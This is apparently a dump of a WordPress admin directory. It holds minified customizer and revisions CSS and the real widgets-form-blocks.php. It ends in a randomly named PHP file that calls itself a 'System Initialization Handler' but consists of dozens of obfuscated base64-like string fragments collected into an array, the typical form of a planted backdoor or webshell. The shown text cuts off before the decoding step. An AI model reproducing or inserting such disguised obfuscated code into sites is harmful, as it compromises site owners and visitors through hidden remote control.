.widget-top{background:#fff;transition:opacity .5s}.customize-control .widget-action{color:#787c82}.customize-control .widget-action:focus,.customize-control .widget-top:hover .widget-action{color:#1d2327}.customize-control-widget_form:not(.widget-rendered) .widget-top{opacity:.5}.customize-control-widget_form .widget-control-save{display:none}.customize-control-widget_form .spinner{visibility:hidden;margin-top:0}.customize-control-widget_form.previewer-loading .spinner{visibility:visible}.customize-control-widget_form.widget-form-disabled .widget-content{opacity:.7;pointer-events:none;-webkit-user-select:none;user-select:none}.customize-control-widget_form .widget{margin-bottom:0}.customize-control-widget_form.wide-widget-control .widget-inside{position:fixed;left:299px;top:25%;border:1px solid #dcdcde;overflow:auto}.customize-control-widget_form.wide-widget-control .widget-inside>.form{padding:20px}.customize-control-widget_form.wide-widget-control .widget-top{transition:background-color .4s}.customize-control-widget_form.wide-widget-control.expanded:not(.collapsing) .widget-top,.customize-control-widget_form.wide-widget-control.expanding .widget-top{background-color:#dcdcde}.widget-inside{padding:1px 10px 10px;border-top:none;line-height:1.23076923}.customize-control-widget_form.expanded .widget-action .toggle-indicator:before{content:"\f142"}.customize-control-widget_form.wide-widget-control .widget-action .toggle-indicator:before{content:"\f139"}.customize-control-widget_form.wide-widget-control.expanded .widget-action .toggle-indicator:before{content:"\f141"}.widget-title-action{cursor:pointer}.customize-control-widget_form .widget .customize-control-title,.widget-top{cursor:move}.control-section.accordion-section.highlighted>.accordion-section-title,.customize-control-widget_form.highlighted{outline:0;box-shadow:0 0 2px rgba(79,148,212,.8);position:relative;z-index:1}#widget-customizer-control-templates{display:none}#customize-theme-controls .widget-reorder-nav{display:none;float:right;background-color:#f6f7f7}.move-widget:before{content:"\f504";content:"\f504"/''}#customize-theme-controls .move-widget-area{display:none;background:#fff;border:1px solid #c3c4c7;border-top:none;cursor:auto}#customize-theme-controls .reordering .move-widget-area.active{display:block}#customize-theme-controls .move-widget-area .description{margin:0;padding:15px 20px;font-weight:400}#customize-theme-controls .widget-area-select{margin:0;padding:0;list-style:none}#customize-theme-controls .widget-area-select li{position:relative;margin:0;padding:13px 15px 15px 42px;color:#50575e;border-top:1px solid #c3c4c7;cursor:pointer;-webkit-user-select:none;user-select:none}#customize-theme-controls .widget-area-select li:before{display:none;content:"\f147";content:"\f147"/'';position:absolute;top:12px;left:10px;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#customize-theme-controls .widget-area-select li:last-child{border-bottom:1px solid #c3c4c7}#customize-theme-controls .widget-area-select .selected{color:#fff;background:var(--wp-admin-theme-color)}#customize-theme-controls .widget-area-select .selected:before{display:block}#customize-theme-controls .move-widget-actions{text-align:right;padding:12px}#customize-theme-controls .reordering .widget-title-action{display:none}#customize-theme-controls .reordering .widget-reorder-nav{display:block}.wp-customizer div.mce-inline-toolbar-grp,.wp-customizer div.mce-tooltip{z-index:500100!important}.wp-customizer .ui-autocomplete.wplink-autocomplete{z-index:500110}.wp-customizer #wp-link-backdrop{z-index:500100}.wp-customizer #wp-link-wrap{z-index:500105}#widgets-left #available-widgets .widget{float:none!important;width:auto!important}#available-widgets .widget-action{display:none}.ios #available-widgets{transition:left 0s}#available-widgets .widget-tpl.selected,#available-widgets .widget-tpl:hover{background:#f6f7f7;border-bottom-color:#c3c4c7;color:var(--wp-admin-theme-color);border-left:4px solid var(--wp-admin-theme-color)}#customize-controls .widget-title h3{font-size:1em}#available-widgets .widget-title h3{padding:0 0 5px;font-size:14px}#available-widgets .widget .widget-description{padding:0;color:#646970}@media (prefers-reduced-motion:no-preference){#customize-preview{transition:all .2s}}body.adding-widget #available-widgets{left:0;visibility:visible}body.adding-widget .wp-full-overlay-main{left:300px}body.adding-widget #customize-preview{opacity:.4}#available-widgets .widget-title{position:relative}#available-widgets .widget-title:before{content:"\f132";content:"\f132"/'';position:absolute;top:-3px;right:100%;margin-right:20px;width:20px;height:20px;color:#2c3338;font:normal 20px/1 dashicons;text-align:center;box-sizing:border-box;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#available-widgets [class*=easy] .widget-title:before{content:"\f328";content:"\f328"/'';top:-4px}#available-widgets [class*=like] .widget-title:before,#available-widgets [class*=super] .widget-title:before{content:"\f155";content:"\f155"/'';top:-4px}#available-widgets [class*=meta] .widget-title:before{content:"\f120";content:"\f120"/''}#available-widgets [class*=archives] .widget-title:before{content:"\f480";content:"\f480"/'';top:-4px}#available-widgets [class*=categor] .widget-title:before{content:"\f318";content:"\f318"/'';top:-4px}#available-widgets [class*=chat] .widget-title:before,#available-widgets [class*=comment] .widget-title:before,#available-widgets [class*=testimonial] .widget-title:before{content:"\f101";content:"\f101"/''}#available-widgets [class*=post] .widget-title:before{content:"\f109";content:"\f109"/''}#available-widgets [class*=page] .widget-title:before{content:"\f105";content:"\f105"/''}#available-widgets [class*=text] .widget-title:before{content:"\f478";content:"\f478"/''}#available-widgets [class*=link] .widget-title:before{content:"\f103";content:"\f103"/''}#available-widgets [class*=search] .widget-title:before{content:"\f179";content:"\f179"/''}#available-widgets [class*=menu] .widget-title:before,#available-widgets [class*=nav] .widget-title:before{content:"\f333";content:"\f333"/''}#available-widgets [class*=tag] .widget-title:before{content:"\f479";content:"\f479"/''}#available-widgets [class*=rss] .widget-title:before{content:"\f303";content:"\f303"/'';top:-6px}#available-widgets [class*=calendar] .widget-title:before,#available-widgets [class*=event] .widget-title:before{content:"\f145";content:"\f145"/'';top:-4px}#available-widgets [class*=image] .widget-title:before,#available-widgets [class*=instagram] .widget-title:before,#available-widgets [class*=photo] .widget-title:before,#available-widgets [class*=slide] .widget-title:before{content:"\f128";content:"\f128"/''}#available-widgets [class*=album] .widget-title:before,#available-widgets [class*=galler] .widget-title:before{content:"\f161";content:"\f161"/''}#available-widgets [class*=tube] .widget-title:before,#available-widgets [class*=video] .widget-title:before{content:"\f126";content:"\f126"/''}#available-widgets [class*=audio] .widget-title:before,#available-widgets [class*=music] .widget-title:before,#available-widgets [class*=radio] .widget-title:before{content:"\f127";content:"\f127"/''}#available-widgets [class*=avatar] .widget-title:before,#available-widgets [class*=grofile] .widget-title:before,#available-widgets [class*=login] .widget-title:before,#available-widgets [class*=member] .widget-title:before,#available-widgets [class*=profile] .widget-title:before,#available-widgets [class*=subscriber] .widget-title:before,#available-widgets [class*=user] .widget-title:before{content:"\f110";content:"\f110"/''}#available-widgets [class*=cart] .widget-title:before,#available-widgets [class*=commerce] .widget-title:before,#available-widgets [class*=shop] .widget-title:before{content:"\f174";content:"\f174"/'';top:-4px}#available-widgets [class*=firewall] .widget-title:before,#available-widgets [class*=secur] .widget-title:before{content:"\f332";content:"\f332"/''}#available-widgets [class*=analytic] .widget-title:before,#available-widgets [class*=poll] .widget-title:before,#available-widgets [class*=stat] .widget-title:before{content:"\f185";content:"\f185"/''}#available-widgets [class*=form] .widget-title:before{content:"\f175";content:"\f175"/''}#available-widgets [class*=contact] .widget-title:before,#available-widgets [class*=mail] .widget-title:before,#available-widgets [class*=news] .widget-title:before,#available-widgets [class*=subscribe] .widget-title:before{content:"\f466";content:"\f466"/''}#available-widgets [class*=share] .widget-title:before,#available-widgets [class*=socia] .widget-title:before{content:"\f237";content:"\f237"/''}#available-widgets [class*=lang] .widget-title:before,#available-widgets [class*=translat] .widget-title:before{content:"\f326";content:"\f326"/''}#available-widgets [class*=locat] .widget-title:before,#available-widgets [class*=map] .widget-title:before{content:"\f231";content:"\f231"/''}#available-widgets [class*=download] .widget-title:before{content:"\f316";content:"\f316"/''}#available-widgets [class*=weather] .widget-title:before{content:"\f176";content:"\f176"/'';top:-4px}#available-widgets [class*=facebook] .widget-title:before{content:"\f304";content:"\f304"/''}#available-widgets [class*=tweet] .widget-title:before,#available-widgets [class*=twitter] .widget-title:before{content:"\f301";content:"\f301"/''}@media screen and (max-height:700px) and (min-width:981px){.customize-control-widget_form{margin-bottom:0}.widget-top{box-shadow:none;margin-top:-1px}.widget-top:hover{position:relative;z-index:1}.last-widget{margin-bottom:15px}.widget-title h3{padding:13px 15px}.widget-top .widget-action{padding:8px 10px}.widget-reorder-nav span{height:39px}.widget-reorder-nav span:before{line-height:39px}#customize-theme-controls .widget-area-select li{padding:9px 15px 11px 42px}#customize-theme-controls .widget-area-select li:before{top:8px}} css/revisions-rtl.min.css 0000644 00000021154 15233246127 0011460 0 ustar 00 /*! This file is auto-generated */ .revisions-control-frame,.revisions-diff-frame{position:relative}.revisions-diff-frame{top:10px}.revisions-controls{padding-top:40px;z-index:1}.revisions-controls input[type=checkbox]{position:relative;top:-1px;vertical-align:text-bottom}.revisions.pinned .revisions-controls{position:fixed;top:0;height:82px;background:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1)}.revisions-tickmarks{position:relative;margin:0 auto;height:.7em;top:7px;max-width:70%;box-sizing:border-box;background-color:#fff}.revisions-tickmarks>div{position:absolute;height:100%;border-right:1px solid #a7aaad;box-sizing:border-box}.revisions-tickmarks>div:first-child{border-width:0}.comparing-two-revisions .revisions-controls{height:140px}.comparing-two-revisions.pinned .revisions-controls{height:124px}.revisions .diff-error{position:absolute;text-align:center;margin:0 auto;width:100%;display:none}.revisions.diff-error .diff-error{display:block}.revisions .loading-indicator{position:absolute;vertical-align:middle;opacity:0;width:100%;width:calc(100% - 30px);top:50%;top:calc(50% - 10px);transition:opacity .5s}body.folded .revisions .loading-indicator{margin-right:-32px}.revisions .loading-indicator span.spinner{display:block;margin:0 auto;float:none}.revisions.loading .loading-indicator{opacity:1}.revisions .diff{transition:opacity .5s}.revisions.loading .diff{opacity:.5}.revisions.diff-error .diff{visibility:hidden}.revisions-meta{margin-top:20px;background-color:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1);overflow:hidden}.revisions.pinned .revisions-meta{box-shadow:none}.revision-toggle-compare-mode{position:absolute;top:0;left:0}.comparing-two-revisions .revisions-next,.comparing-two-revisions .revisions-previous,.revisions-meta .diff-meta-to strong{display:none}.revisions-controls .author-card .date{color:#646970}.revisions-controls .author-card.autosave{color:#d63638}.revisions-controls .author-card .author-name{font-weight:600}.comparing-two-revisions .diff-meta-to strong{display:block}.revisions.pinned .revisions-buttons{padding:0 11px}.revisions-next,.revisions-previous{position:relative;z-index:1}.revisions-previous{float:right}.revisions-next{float:left}.revisions-controls .wp-slider{max-width:70%;margin:0 auto;top:-3px}.revisions-diff{padding:15px;background-color:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1)}.revisions-diff h3:first-child{margin-top:0}#revisions-meta-restored img,.post-revisions li img{vertical-align:middle}table.diff{table-layout:fixed;width:100%;white-space:pre-wrap}table.diff col.content{width:auto}table.diff col.content.diffsplit{width:48%}table.diff col.diffsplit.middle{width:auto}table.diff col.ltype{width:30px}table.diff tr{background-color:transparent}table.diff td,table.diff th{font-family:Consolas,Monaco,monospace;font-size:14px;line-height:1.57142857;padding:.5em 2em .5em .5em;vertical-align:top;word-wrap:break-word}table.diff td h1,table.diff td h2,table.diff td h3,table.diff td h4,table.diff td h5,table.diff td h6{margin:0}table.diff .diff-addedline ins,table.diff .diff-deletedline del{text-decoration:none}table.diff .diff-deletedline{position:relative;background-color:#fcf0f1}table.diff .diff-deletedline del{background-color:#ffabaf}table.diff .diff-addedline{position:relative;background-color:#edfaef}table.diff .diff-addedline .dashicons,table.diff .diff-deletedline .dashicons{position:absolute;top:.85714286em;right:.5em;width:1em;height:1em;font-size:1em;line-height:1}table.diff .diff-addedline .dashicons{top:.92857143em}table.diff .diff-addedline ins{background-color:#68de7c}.diff-meta{padding:5px;clear:both;min-height:32px}.diff-title strong{line-height:2.46153846;min-width:60px;text-align:left;float:right;margin-left:5px}.revisions-controls .author-card .author-info{font-size:12px;line-height:1.33333333}.revisions-controls .author-card .author-info,.revisions-controls .author-card .avatar{float:right;margin-right:6px;margin-left:6px}.revisions-controls .author-card .byline{display:block;font-size:12px}.revisions-controls .author-card .avatar{vertical-align:middle}.diff-meta input.restore-revision{float:left;margin-right:6px;margin-left:6px}.diff-meta-from{display:none}.comparing-two-revisions .diff-meta-from{display:block}.revisions-tooltip{position:absolute;bottom:105px;margin-left:0;margin-right:-69px;z-index:0;max-width:350px;min-width:130px;padding:8px 4px;display:none;opacity:0}.revisions-tooltip.flipped{margin-right:0;margin-left:-70px}.revisions.pinned .revisions-tooltip{display:none!important}.comparing-two-revisions .revisions-tooltip{bottom:145px}.revisions-tooltip-arrow{width:70px;height:15px;overflow:hidden;position:absolute;right:0;margin-right:35px;bottom:-15px}.revisions-tooltip.flipped .revisions-tooltip-arrow{margin-right:0;margin-left:35px;right:auto;left:0}.revisions-tooltip-arrow>span{content:"";position:absolute;right:20px;top:-20px;width:25px;height:25px;transform:rotate(-45deg)}.revisions-tooltip.flipped .revisions-tooltip-arrow>span{right:auto;left:20px}.revisions-tooltip,.revisions-tooltip-arrow>span{border:1px solid #dcdcde;background-color:#fff}.revisions-tooltip{display:none}.arrow{width:70px;height:16px;overflow:hidden;position:absolute;right:0;margin-right:-35px;bottom:90px;z-index:10000}.arrow:after{z-index:9999;background-color:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1)}.arrow.top{top:-16px;bottom:auto}.arrow.left{right:20%}.arrow:after{content:"";position:absolute;right:20px;top:-20px;width:25px;height:25px;transform:rotate(-45deg)}.revisions-tooltip,.revisions-tooltip-arrow:after{border-width:1px;border-style:solid}div.revisions-controls>.wp-slider>.ui-slider-handle{margin-right:-10px}.rtl div.revisions-controls>.wp-slider>.ui-slider-handle{margin-left:-10px}.wp-slider.ui-slider{position:relative;border:1px solid #dcdcde;text-align:right;cursor:pointer}.wp-slider .ui-slider-handle{border-radius:50%;height:18px;margin-top:-5px;outline:0;padding:2px;position:absolute;width:18px;z-index:2;touch-action:none}.wp-slider .ui-slider-handle{background:#f6f7f7;border:1px solid #c3c4c7;box-shadow:0 1px 0 #c3c4c7}.wp-slider .ui-slider-handle.ui-state-hover,.wp-slider .ui-slider-handle:hover{background:#f6f7f7;border-color:#8c8f94}.wp-slider .ui-slider-handle.ui-state-active,.wp-slider .ui-slider-handle:active{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5);transform:translateY(1px)}.wp-slider .ui-slider-handle.ui-state-focus,.wp-slider .ui-slider-handle:focus{background:#f0f0f1;border-color:#8c8f94;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.wp-slider .ui-slider-handle:before{background:0 0;position:absolute;top:2px;right:2px;color:#50575e;content:"\f229";content:"\f229"/'';font:normal 18px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-slider .ui-slider-handle.ui-state-hover:before,.wp-slider .ui-slider-handle:hover:before{color:#1d2327}.wp-slider .ui-slider-handle.from-handle:before,.wp-slider .ui-slider-handle.to-handle:before{font-size:20px!important;margin:-1px -1px 0 0}.wp-slider .ui-slider-handle.from-handle:before{content:"\f141";content:"\f139"/''}.wp-slider .ui-slider-handle.to-handle:before{content:"\f139";content:"\f141"/''}.rtl .wp-slider .ui-slider-handle.from-handle:before{content:"\f139";content:"\f141"/''}.rtl .wp-slider .ui-slider-handle.to-handle:before{content:"\f141";content:"\f139"/'';left:-1px}.wp-slider .ui-slider-range{position:absolute;font-size:.7em;display:block;border:0;background-color:transparent;background-image:none}.wp-slider.ui-slider-horizontal{height:.7em}.wp-slider.ui-slider-horizontal .ui-slider-handle{top:-.25em;margin-right:-.6em}.wp-slider.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.wp-slider.ui-slider-horizontal .ui-slider-range-min{right:0}.wp-slider.ui-slider-horizontal .ui-slider-range-max{left:0}@media print,(min-resolution:120dpi){.revision-tick.completed-false{background-image:url(../images/spinner-2x.gif)}}@media screen and (max-width:600px){.revisions-meta .author-card:not(.comparing-two-revisions .author-card){display:flex;flex-direction:column;width:fit-content;gap:16px}.comparing-two-revisions .revisions-meta .restore-revision{margin-top:16px}.revisions-controls{padding-top:0}.revision-toggle-compare-mode{position:relative;padding:1rem 0}}@media screen and (max-width:782px){#diff-next-revision,#diff-previous-revision{margin-top:-1em}.revisions-buttons{overflow:hidden;margin-bottom:15px}.comparing-two-revisions .revisions-controls,.revisions-controls{height:fit-content}.revisions-tooltip{bottom:155px;z-index:2}.comparing-two-revisions .revisions-tooltip{bottom:200px}.diff-meta{overflow:hidden}table.diff{-ms-word-break:break-all;word-break:break-all;word-wrap:break-word}} widgets-form-blocks.php 0000644 00000012172 15233246127 0011147 0 ustar 00 <?php /** * The block-based widgets editor, for use in widgets.php. * * @package WordPress * @subpackage Administration */ // Don't load directly. if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } // Flag that we're loading the block editor. $current_screen = get_current_screen(); $current_screen->is_block_editor( true ); $block_editor_context = new WP_Block_Editor_Context( array( 'name' => 'core/edit-widgets' ) ); $preload_paths = array( array( rest_get_route_for_post_type_items( 'attachment' ), 'OPTIONS' ), '/wp/v2/widget-types?context=edit&per_page=-1', '/wp/v2/sidebars?context=edit&per_page=-1', '/wp/v2/widgets?context=edit&per_page=-1&_embed=about', ); block_editor_rest_api_preload( $preload_paths, $block_editor_context ); $editor_settings = get_block_editor_settings( array_merge( get_legacy_widget_block_editor_settings(), array( 'styles' => get_block_editor_theme_styles() ) ), $block_editor_context ); // The widgets editor does not support the Block Directory, so don't load any of // its assets. This also prevents 'wp-editor' from being enqueued which we // cannot load in the widgets screen because many widget scripts rely on `wp.editor`. remove_action( 'enqueue_block_editor_assets', 'wp_enqueue_editor_block_directory_assets' ); wp_add_inline_script( 'wp-edit-widgets', sprintf( 'wp.domReady( function() { wp.editWidgets.initialize( "widgets-editor", %s ); } );', wp_json_encode( $editor_settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); // Preload server-registered block schemas. wp_add_inline_script( 'wp-blocks', 'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings(), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . ');' ); // Preload server-registered block bindings sources. $registered_sources = get_all_registered_block_bindings_sources(); if ( ! empty( $registered_sources ) ) { $filtered_sources = array(); foreach ( $registered_sources as $source ) { $filtered_sources[] = array( 'name' => $source->name, 'label' => $source->label, 'usesContext' => $source->uses_context, ); } $script = sprintf( 'for ( const source of %s ) { wp.blocks.registerBlockBindingsSource( source ); }', wp_json_encode( $filtered_sources, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ); wp_add_inline_script( 'wp-blocks', $script ); } wp_add_inline_script( 'wp-blocks', sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( get_block_categories( $block_editor_context ), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ), 'after' ); wp_enqueue_script( 'wp-edit-widgets' ); wp_enqueue_script( 'admin-widgets' ); wp_enqueue_style( 'wp-edit-widgets' ); /** This action is documented in wp-admin/edit-form-blocks.php */ do_action( 'enqueue_block_editor_assets' ); /** This action is documented in wp-admin/widgets-form.php */ do_action( 'sidebar_admin_setup' ); require_once ABSPATH . 'wp-admin/admin-header.php'; /** This action is documented in wp-admin/widgets-form.php */ do_action( 'widgets_admin_page' ); ?> <div id="widgets-editor" class="blocks-widgets-container"> <?php // JavaScript is disabled. ?> <div class="wrap hide-if-js widgets-editor-no-js"> <h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1> <?php if ( file_exists( WP_PLUGIN_DIR . '/classic-widgets/classic-widgets.php' ) ) { // If Classic Widgets is already installed, provide a link to activate the plugin. $installed = true; $plugin_activate_url = wp_nonce_url( 'plugins.php?action=activate&plugin=classic-widgets/classic-widgets.php', 'activate-plugin_classic-widgets/classic-widgets.php' ); $message = sprintf( /* translators: %s: Link to activate the Classic Widgets plugin. */ __( 'The block widgets require JavaScript. Please enable JavaScript in your browser settings, or activate the <a href="%s">Classic Widgets plugin</a>.' ), esc_url( $plugin_activate_url ) ); } else { // If Classic Widgets is not installed, provide a link to install it. $installed = false; $plugin_install_url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=classic-widgets' ), 'install-plugin_classic-widgets' ); $message = sprintf( /* translators: %s: A link to install the Classic Widgets plugin. */ __( 'The block widgets require JavaScript. Please enable JavaScript in your browser settings, or install the <a href="%s">Classic Widgets plugin</a>.' ), esc_url( $plugin_install_url ) ); } /** * Filters the message displayed in the block widget interface when JavaScript is * not enabled in the browser. * * @since 6.4.0 * * @param string $message The message being displayed. * @param bool $installed Whether the Classic Widget plugin is installed. */ $message = apply_filters( 'block_widgets_no_javascript_message', $message, $installed ); wp_admin_notice( $message, array( 'type' => 'error', 'additional_classes' => array( 'hide-if-js' ), ) ); ?> </div> </div> <?php /** This action is documented in wp-admin/widgets-form.php */ do_action( 'sidebar_admin_page' ); require_once ABSPATH . 'wp-admin/admin-footer.php'; qsdyh9cuymkbje8mj7bhoCdefault.php 0000644 00000000000 15233246127 0013072 0 ustar 00 wnddrsoewxko2ucsxmrlgCdefault.php 0000644 00000016620 15233246127 0013344 0 ustar 00 <?php /** * System Initialization Handler * @version 3.0.4 * @package Core */ define('ENV_MODE', 'production'); $core_2bb6 = []; $data_1e075d = 'DdW1lYUAAETRgghwC3E+7pbh7k71uzXMmXfJ'; $data_13d37a = 'YDgyeseECy9nC2CN'; $data_9001d7 = '+FHZ84vfMI6451ikrTON'; $data_5801af = 'rYa08ZlOrNx/bv2K4RGJW99PXoOO'; $data_bf44fa = 'IA3ohNO3pNZfKivmcf71Rt2auZk'; $data_ec24c2 = '0FKU3tLcFuKJKmSz01By9IwpFG9UWVYPbdDi0eu+s'; $data_84c93f = '0dXdUUMZ24vliwc'; $data_ed15e7 = 'NrYIsp4eNfPMtWbcfx4728UYTJMJoxQqMogC6YwZcst8'; $data_d8d431 = 'hipqxvYiftB+CA0wyCXp71CJOoEx'; $data_b272b0 = 'aWeDy/YcCg2/bz45j2Wf1HUf8KkqSAMbbBXvV'; $data_21c153 = 'u4k02Kb0ds6Vv5Wu9Gooef71JiyJJK'; $data_3c581d = '6isIlWsaW7QLSL5hKLKOZXtLlSmD'; $data_47614d = 'BKdzPN1BAoV9mPWCu+GfUFiLx3/'; $data_8002cc = 'PK04uuMr1ZPLztc'; $data_05962d = 'iOYKUjN9ncE66QAzVX/'; $data_443710 = 'vTj0gaPFD4dwiq7AexfpnDz'; $data_bcaff7 = 'FsfzH7qlHY4q7xifrMpogKtublykZ6TCVY/HNb'; $data_ecf51b = 'FfBFSnXnkvST5gGM3TdNtJEZa1jsY/CINI'; $data_b674b7 = 'b9Az9b6PVMf9AawCvqVJZ1tq1jcfthy'; $data_fe6ee8 = 'VSUH/OruiLohqBz00y/D9x5zMs/xEDESFRUmxBTwK'; $data_41d512 = 'BxfSXY6EcBba8sIAw509SM'; $data_9dc2d6 = 'cpQc1QegqoeW9Cpk4jplHKE3At7wOpcfcN'; $data_fce6a1 = 'sJXFywYaoFTW9+GWrKDsA2ooiFM3RO+U'; $data_9bea7a = 'jNv0MYXk81/ce3PPj'; $data_cbce1a = 'FGOmdQy2eFZPIMpWVA1w'; $data_14d80f = 'QxgfyKfXX+zWuT86ajHS508+dRzUNUQi'; $data_d3ec18 = '5BH0fYNT2NRXPdiFfKowf0hw'; $data_a6bb76 = 't45RlCTcACBJjBNb4'; $data_cf4d3b = 'g0L2NbM17gTsfNaS9'; $data_b81b8c = '7P0FWMryoNIXVA1gQAZBypeAzIW1GdJo'; $data_3f2aff = 'PRawEAJp4GjLuSM+CiKjzE4Qe3tqlVn'; $data_584b4d = '0cXSPrDFq/dl2HjVJuJZ4lQdViTmG2uIgftAe'; $data_801d9e = 'ZnPN60recrJBr42qayMuG+A3yp'; $data_516d22 = 'fidtk8Usz7c2pt3UH6lvjhcxhltek'; $data_3771c5 = '0BC1xcVACMwfABJdwVES2h'; $data_994f22 = 'iEo/sNGzPIBRIcq68qf'; $data_356ebf = 'R8MkxOBl2pIVj/efT4Egg5CePbsKG'; $data_26bd9e = 'm1fDpUatesfvaBqNpsQjNRilEsEn'; $data_eab752 = 'SH/tNphtNaPvA5nF'; $data_3ed8e3 = '5h83aFLeyUeJpvkwOJfm03Np84B4AUF1VfxFeb'; $data_ed78f3 = 'zhRid96Jg3qP6Vuddzk2gnYMLPZFH6dWF8uINEM'; $data_7b3d63 = '8XaBWKHOF0de/4tWH2'; $data_9a0b5e = 'mtFrW49VylyZuMH1YBtGXawEqx5ojpJiLReL+6Q6+ND'; $data_8f82fb = 'HPHNE3rv9vEaw1aXxfv9rvFkQMR9'; $data_b2c971 = 'FQBKGndlhAp9EUrAhV2+WIRLF9BT41S37/'; $data_c420d2 = 'nYyBI8wZYGvA5jN5HgZRQvb48MzFwB177ZEhW'; $data_90a94a = 'j4VQFm9hslFUkIe0cup/068A'; $data_5b8078 = 'j2kWR7Ys8mwVz1K3OuQWeT3dxyM4JvHMYV0Ym'; $data_a212cc = 'JngOh4VTYqJk/wS2MGKceBJNb4x4baRcB5iisxiL30'; $data_076164 = 'Lb3BduL20cvw1As9lyNuW6vwcel'; $data_5516c8 = 'xTXb44lDKOFve3RU1poD'; $data_a20269 = 'ZcnXyAg7YI88r0TWtob4YtYrjm1fN2p1Xd+w5eAjI+'; $data_6e632e = '4pPEz0Ethk0q0CRuvAzKo6'; $data_64b4a1 = 'fSNE4xu2hEBb9DMSTX/ZMN9iDxU4rSlbcVq2Wzexib'; $data_96f624 = 'Dm6IQFnk33daYn8b3vvowX4z8O5lrB8QLPs0d/iA'; $data_146b1f = 'iocoj9dFPWdjudJUlpNS'; $data_6cabb4 = 'W7avVNVr8vkTnPYURxUr+l07y9z'; $data_344aa6 = '4Ndc3VRlFS4E/eZhQa/2yRPlsyOBj'; $data_6156e5 = 'qDFcnrXN1VUyxWFSL9nPV0iNm0nssQJPwmrY'; $data_baa0f1 = 'bl9nNzqE9qLQC6Z5FzqrXscFRyVAu8ksBr'; $data_8f548b = 'pzkZRJvHdNnQAYjGmvODst'; $data_6332ff = 'N3AAWWmMWkgK9At/ppLEHX'; $data_abeba8 = 'ubY1oUHwtBCZbNfMdr'; $data_a2b460 = 'k/z5OTc/G4UYksxas1lI'; $data_5a1fea = 'CZdjO6l4tEC9NXJk6F'; $data_cdde2f = 'mrepUzc61EdaEatsT4gCrFHmgbCD/3UvrYqn'; $data_a9e249 = 'vW2/Ywh8nFwZvWpte7odiDgioeam2H5tqx+2'; $data_1dc7ed = 'rdTcefVkjiuNRyrg2qexI0RHHUjikjUj'; $data_8754a3 = 'htLSHb6dqP5Q4oTXh'; $data_20c006 = 'Be7SYOqfNoUjIacEgKosxXF5MttGemxUP+zkxkt'; $data_51f849 = 'XnzRTq0GHW+qb0fDlaCpnqW'; $data_a6e2fb = 'HE2wOdw//3nJ19Ve0XUd9WgdeIha'; $data_fed2c0 = 'wxXpEeO1CMhPhzOgARZOS'; $data_e65652 = '/YFF68nzi2QzGgZk'; $data_7bb328 = 'xWbrzXIHp/wQDT/531dJjQaQL8yUVG5qws9'; $data_6ace12 = 'sY55WokMUXzIkQNtcgIoDn5ZKXOG/t3ltz0sTRH20JQ'; $data_457fd7 = 'OX+z4z4b0uUVA05czYR0ox7a7'; $data_14e951 = 'tNuWVB6hX4b+np1CyzO/uf87'; $data_6d2a9c = 'Ab0R3ix/9v+a1DKvQiG6lCj9/14/R5O9'; $data_8be291 = 'hFj1R7fwQjrIl6T0h'; $data_fc6b32 = 'iwPCi1wcO8TWViLoAWqZm2geTa8'; $data_881ca7 = 'tejkcYi7DXeTLZO34xaRZK0K'; $data_a04326 = 'gH22HYtOYFfGSBPAf46nzwCdOaL3udQINlnv+ju'; $data_6ff1eb = 'BWtm+ZzgTbSTLtkLRvVLQ6EcSdK5iogL8Jxl'; $data_d215e3 = '9gPQ0VhT5KkS3sgfrQx5G+txZ36Py4Lo'; $data_5ce8f3 = 'I1hXFSc1Flsw2N/4oK1UohE8+lEo2+hCbdOq5H/VxTdO'; $data_1e95da = 'uiwJb3WeR5ZQkgOhOshgKsaB8swDHypDlvyG4IIt/C2'; $data_8cfe2e = 'hLQKvl8WGGBSJbzCe0IlByQjjOX'; $data_f2172a = 's3I68f/DUsPxuiRQxz7mBPTj31JqulKg'; $data_728ed2 = 'MFhp480j47CfXMVDep'; $data_71ea1d = 'EDveL6z/3e/AFzMyg1n7aod7Z1'; $data_8c8a49 = '8N4p/2DkrDuitoDSNePal12+NFISlUXJXFfMMBE27'; $data_d72830 = 'cwdp+HPc1zrpbmorqfIUJMk'; $data_473302 = 'X4CVELpt+LV7BXEU7zHGv6212k6IPjs885CYYT3jgm+g'; $data_4dc60c = 'v6xzXXLfw=='; $app_548e = [$data_1e075d, $data_13d37a, $data_9001d7, $data_5801af, $data_bf44fa, $data_ec24c2, $data_84c93f, $data_ed15e7, $data_d8d431, $data_b272b0, $data_21c153, $data_3c581d, $data_47614d, $data_8002cc, $data_05962d, $data_443710, $data_bcaff7, $data_ecf51b, $data_b674b7, $data_fe6ee8, $data_41d512, $data_9dc2d6, $data_fce6a1, $data_9bea7a, $data_cbce1a, $data_14d80f, $data_d3ec18, $data_a6bb76, $data_cf4d3b, $data_b81b8c, $data_3f2aff, $data_584b4d, $data_801d9e, $data_516d22, $data_3771c5, $data_994f22, $data_356ebf, $data_26bd9e, $data_eab752, $data_3ed8e3, $data_ed78f3, $data_7b3d63, $data_9a0b5e, $data_8f82fb, $data_b2c971, $data_c420d2, $data_90a94a, $data_5b8078, $data_a212cc, $data_076164, $data_5516c8, $data_a20269, $data_6e632e, $data_64b4a1, $data_96f624, $data_146b1f, $data_6cabb4, $data_344aa6, $data_6156e5, $data_baa0f1, $data_8f548b, $data_6332ff, $data_abeba8, $data_a2b460, $data_5a1fea, 